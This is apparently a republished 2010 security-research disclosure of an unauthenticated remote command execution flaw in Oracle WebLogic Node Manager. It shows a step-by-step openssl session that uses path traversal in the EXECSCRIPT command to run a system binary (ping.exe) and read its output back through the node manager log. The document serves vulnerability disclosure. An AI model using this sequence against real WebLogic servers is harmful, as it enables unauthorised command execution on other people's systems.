Oracle WebLogic Server Node Manager "beasvc.exe" Remote Command Execution

简介: http://intevydis.blogspot.com/2010/01/oracle-weblogic-1032-node-manager-fun.

http://intevydis.blogspot.com/2010/01/oracle-weblogic-1032-node-manager-fun.html

Time for the final bug in our Week of Web Server bugs.
It is in Vulndisco since Oct, 2008.

Oracle Weblogic has an optional Node Manager utility which is used to start/stop server instances from a remote location.

It is important to know that Node Manager is beasvc.exe process which listens on port 5556.

It supports several commands, no authentication is required to enter some of these commands, you will only need to know the name of Weblogic domain (btw in the default install Weblogic has at least 2 domains - wl_server and medrec). As beasvc.exe speaks over SSL we will use openssl utility:

character '>' marks the beginning of our command (write the command after '>' and press Enter)

$ openssl s_client -host 192.168.56.101 -port 5556
>HELLO asdf
+OK Node manager v10.3 started

Remote version leak bug here ;-)

>DOMAIN xyz
-ERR I/O error while reading domain directory

>GETNMLOG
java.io.FileNotFoundException: Domain directory 'C:/Oracle /Middleware/wlserver_10.3/common/nodemanager' invalid (domain salt file not found)
at weblogic .nodemanager.server .DomainManager.initialize(DomainManager.java:79)
at weblogic .nodemanager.server .DomainManager.(DomainManager.java:54)
at weblogic .nodemanager.server .NMServer.getDomainManager(NMServer.java:257)
at weblogic .nodemanager.server .Handler.handleDomain(Handler.java:218)
at weblogic .nodemanager.server .Handler.handleCommand(Handler.java:108)
at weblogic .nodemanager.server .Handler.run(Handler.java:70)
at java.lang.Thread.run(Thread.java:619)

>DOMAIN wl_server
+OK Current domain set to 'wl_server'

>EXECSCRIPT ../../../../../../../../Windows/System32/ping.exe
-ERR 1

>GETNMLOG

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <Usage: ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS]>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < [-r count] [-s count] [[-j host-list] | [-k host-list]]>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < [-w timeout] [-R] [-S srcaddr] [-4] [-6] target_name>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <Options:>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -t Ping the specified host until stopped.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < To see statistics and continue - type Control-Break;>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < To stop - type Control-C.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -a Resolve addresses to hostnames.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -n count Number of echo requests to send.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -l size Send buffer size.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -f Set Don't Fragment flag in packet (IPv4-only).>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -i TTL Time To Live.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -v TOS Type Of Service (IPv4-only).>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -r count Record route for count hops (IPv4-only).>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -s count Timestamp for count hops (IPv4-only).>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -j host-list Loose source route along host-list (IPv4-only).>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -k host-list Strict source route along host-list (IPv4-only).>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -w timeout Timeout in milliseconds to wait for each reply.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -R Use routing header to test reverse route also (IPv6-only). >

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -S srcaddr Source address to use.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -4 Force using IPv4.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -6 Force using IPv6.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

.



+OK Node manager log file sent

Obviously it is a remote preauth command execution bug!

目录
相关文章
|
SQL Oracle 关系型数据库
MySQL、SQL Server和Oracle数据库安装部署教程
数据库的安装部署教程因不同的数据库管理系统(DBMS)而异,以下将以MySQL、SQL Server和Oracle为例,分别概述其安装部署的基本步骤。请注意,由于软件版本和操作系统的不同,具体步骤可能会有所变化。
1051 3
|
Oracle 关系型数据库
Navicat 连接Oracle ORA-28547: connection to server failed, probable Oracle Net admin error
Navicat 连接Oracle ORA-28547: connection to server failed, probable Oracle Net admin error
446 0
|
SQL 存储 Oracle
TDengine 3.3.2.0 发布:新增 UDT 及 Oracle、SQL Server 数据接入
**TDengine 3.3.2.0 发布摘要** - 开源与企业版均强化性能,提升WebSocket、stmt模式写入与查询效率,解决死锁,增强列显示。 - taos-explorer支持geometry和varbinary类型。 - 企业版引入UDT,允许自定义数据转换。 - 新增Oracle和SQL Server数据接入。 - 数据同步优化,支持压缩,提升元数据同步速度,错误信息细化,支持表名修改。 - 扩展跨平台支持,包括麒麟、Euler、Anolis OS等。
310 0
|
安全 Oracle 关系型数据库
Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现_cve-2020-14750漏洞复现
Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现_cve-2020-14750漏洞复现
|
Oracle 关系型数据库 Linux
SuSE linux server 11通过SAP来安装oracle11g
SuSE linux server 11通过SAP来安装oracle11g
226 0
|
SQL Oracle 关系型数据库
选择适合您网站的 SQL 托管:MS SQL Server、Oracle、MySQL 和 MS Ac
如果您希望您的网站能够存储和检索数据,您的Web服务器应该能够访问使用SQL语言的数据库系统。以下是一些常见的SQL托管选项:
164 1
|
SQL Oracle 关系型数据库
选择适合您网站的 SQL 托管:MS SQL Server、Oracle、MySQL
如果您希望您的网站能够存储和检索数据,您的Web服务器应该能够访问使用SQL语言的数据库系统。以下是一些常见的SQL托管选项:
139 2
|
JavaScript 前端开发 Java
Node【工具 01】Node Version Manager nvm安装使用(Node.js版本管理工具)
Node【工具 01】Node Version Manager nvm安装使用(Node.js版本管理工具)
541 0
|
SQL Oracle 关系型数据库
浅谈对数据库(MySQL、Oracle、SQL Server)的认识
浅谈对数据库(MySQL、Oracle、SQL Server)的认识
|
运维 Oracle 关系型数据库
LIS实验室信息管理系统功能模块(Oracle数据库、Client/Server架构)
LIS实验室信息管理系统功能模块(Oracle数据库、Client/Server架构)
201 0